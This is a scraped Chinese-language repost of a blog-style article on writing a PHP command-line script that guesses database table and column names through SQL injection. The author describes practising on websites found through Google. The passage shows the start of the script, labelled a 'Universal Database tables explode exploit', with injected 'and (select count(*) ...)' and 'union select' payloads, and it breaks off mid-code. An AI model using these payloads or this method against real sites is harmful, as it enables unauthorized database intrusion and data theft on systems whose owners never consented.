doallthingsinphp(注入利用程序编写)脚本安全电脑资料

do all things in php(注入利用程序编写)脚本平安 电脑资料 最近俺又迷恋上脚本了,嘿嘿~~~刚学完PHP然后又看了些PHP平安方面的文章,于是乎从google中找了几个站练习一下,

do all things in php(注入利用程序编写)脚本平安 电脑 资料 最近俺又迷恋上脚本了,嘿嘿~~~刚学完PHP然后又看了些PHP平安 方面的文章,于是乎从google中找了几个站练习一下, 结果发现php猜表名和列名真的很费力啊,nbsi这类的扫描工具有 没有那种用字典或者暴力猜解表名和列名的功能,难不成还得自己 一个一个猜啊?我很懒的:-) 突然想到自己不是刚刚学完PHP吗?为什么不学以致用呢?php不 光是一个web脚本语言,它还是一个非常棒的命令行解释语言,用 它写脚本好方便的哦。为了以后能够碰到这类问题省点劲俺就写了 一个php脚本用来猜表和列名的。脚本写的很简单,内容如下: echo "\tUniversal Database tables explode exploit V0.1\n\n"; echo "\t\tWritten by Mika[EST]\n\n"; //$keyword="Warning"; $keyword="error"; switch($argc){ case 3: $u=" and (select count(*) from MIKANAME)>0"; $dic=$argv[2]; break; case 4: $u=" and 1=1 union select ".implode(',',range(1,$argv[2]))." from MIKANAME#"; $dic=$argv[3];

腾讯文库doallthingsinphp(注入利用程序编写)脚本安全电脑资料